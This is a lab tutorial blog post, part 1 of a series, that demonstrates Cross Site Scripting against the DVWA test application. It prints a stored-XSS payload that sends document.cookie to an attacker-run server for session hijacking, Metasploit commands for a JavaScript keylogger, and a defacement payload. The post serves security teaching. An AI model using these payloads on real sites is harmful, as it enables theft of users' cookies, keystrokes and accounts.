Cross Site Scripting (XSS) beyond ‘alert()’ – Part 1

Cross Site Scripting (XSS) is one of the most found vulnerabilities in websites. Attackers use such vulnerable websites to inject scripts into user’s browser context to perform malicious activities such as cookie grabbing, phishing etc. This post is an attempt to explain how dangerous XSS attacks are. Also, Red Teamers check out this post for new tricks


  1. Lab Setup
  2. Basic XSS Demo
  3. Cookie Grabbing
  4. Keylogging
  5. Phishing/Defacement
  6. Network Attacks
  7. BeeF Demo

Lab Setup

It was a simple setup with 3 Virtual Machines hosted on Windows System; all on bridged networking mode.

Basic XSS Demo

I used DVWA in OWASP Broken Web Application Project (BWA) for demonstration purposes.  I logged in with username ‘admin’ and password ‘admin’. A simple demo of Reflected XSS where in, ‘name’ parameter which reflects the input value to browser is vulnerable to XSS.


Input ‘test’ to see the reflection of ‘test’.

Input the infamous payload <script>alert(1)</script> to confirm XSS.

Another example of XSS, but this time it ll be Stored XSS, where the XSS payload is saved and executed when the saved payload is executed in victim’s browser.

But this post isn’t about ‘alert()’. This is beyond that…..

Cookie Grabbing

In this demo, I show how an user escalates as administrator by Cookie Grabbing using stored XSS. Say, attacker in Kali machine logs in DVWA using username ‘user’ and password ‘user’. He crafts a XSS payload that returns victims’s cookies to an attacker controlled server. When the administrator who is a victim, logs in Ubuntu Machine and views the message board the stored XSS payload gets executed in admin’s browser that send his cookies to attacker.

For this demo, I start Apache server in Kali Machine and observe the access logs, with the commands

root@kali $~ service apache2 start
root@kali $~ tail -f /var/log/apache2/access.log

Now at I use payload <script>location.href=""+document.cookie</script>

On submitting, attacker terminal shows user cookies that are caught at Apache server access log.

Now, when admin logs in and visits

Now, modifying attacker session using the obtain admin cookies gives admin user.

Before escalation at Kali Machine,

After modifying the session values to escalate,


In this demo, I will show how XSS leads to Keylogging. For this I will use a Metasploit module. First, I will set up a Web server that hosts the keylogging script and logs the victim’s keyboard events.

Setting up metasploit module  auxiliary/server/capture/http_javascript_keylogger

root@kali$~ msfconsole
msf > use auxiliary/server/capture/http_javascript_keylogger
msf auxiliary(server/capture/http_javascript_keylogger) > set uripath teste
uripath => teste
msf auxiliary(server/capture/http_javascript_keylogger) > exploit
[*] Listening on…
[*] Using URL:
[*] Local IP:
[*] Server started.

Now when the attacker writes the payload <script src=""></script> at and victim visits it, the malicious script hosted by Metasploit is loaded and becomes a keylogger. All the keyboard events triggered by the victim by victim machine is logged at attacker controller server.

After submission,

Tip: If you want to avoid Metasploit, and want to do things manual check out my friend project


XSS can help hackers to perform phishing by overwriting DOM elements with social engineering content. Also, it can lead to defacement of the websites that harm the reputation of a website. In this section, I ll present a simple scenario where an infamous image is loaded into the website.

Using payload,

<h1>YOU HAVE BEEN HACKED</h1><img src="">

To be continued :p …………
PS: Next part will have how XSS is used in victim IP enumeration, ping sweeping, port scanning and other advanced network attacks. Also, catch on for demo to hook BeeF and its features.

Leave a Reply

Your email address will not be published. Required fields are marked *